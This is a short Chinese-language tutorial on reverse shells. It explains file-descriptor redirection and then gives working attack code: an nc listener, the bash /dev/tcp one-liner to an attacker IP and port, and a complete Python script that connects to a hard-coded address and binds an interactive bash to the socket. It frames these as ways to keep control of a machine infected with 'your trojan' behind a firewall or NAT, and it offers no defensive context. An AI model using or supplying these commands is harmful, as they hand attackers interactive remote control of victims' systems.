反弹SHELL

reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。

文件描述符及重定向

分类

stdin 0:标准输入描述符 cat 0< text.txt

stdout 1:标准输出描述符
echo hello >file

stderr 2:标准错误输出描述符
mkdir &> text.txt

exec函数

绑定文件描述符至指定文件
Exec 3<>text.txt //绑定文件描述符3至text.txt文件
ls >&3 //将ls的结果传送至文件描述符3
cat text.txt //查看text.txt的结果发现,成功。

反弹SHELL

适用场景:
1.某客户机中了你的木马,但在局域网内,你无法直接连接。
2.IP动态变化,不能持续控制。
3.防火墙限制,中招机只能发送请求。

概念:

攻击者指定服务端,受害者主机主动连接攻击者的服务端程序。

手法:

1.攻击机:nc –lvp 2333(端口)
2.受害机:bash –I >& /dev/tcp/攻击机IP/2333(端口) 0>&1(0<&1也可以)

解读:

bash –i ---产生交互式SHELL
/dev/tcp/ip/port ---这个文件十分特殊,可以看成一个设备。访问这个文件时实际是不存在的。但是如果受害机器在攻击方监听这个端口的情况下对这个文件进行读写,就能实现与攻击方的服务器的socket通信

实例:

1.输出字符串到攻击机
攻击机:nc –lvp port
受害机:echo hello > /dev/tcp/ip/port
2.输出字符串到受害机
首先攻击机:nc –lvp port
其次受害及:cat < /dev/tcp/ip/port
然后:攻击机输入字符,并回车。结果就显示过去了。

高级Python脚本(受害机执行)

import os,socket,subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.98.131', 12345)) #连接到远程攻击主机
os.dup2(s.fileno(), 0) #将连接的文件描述符重定向到标准输入stdin
os.dup2(s.fileno(), 1) #将连接的文件描述符重定向到标准输出stdout
os.dup2(s.fileno(), 2) #将连接的文件描述符重定向到标准错误输出
p = subprocess.call(['/bin/bash', '-i']) #调用子进程执行 bash -i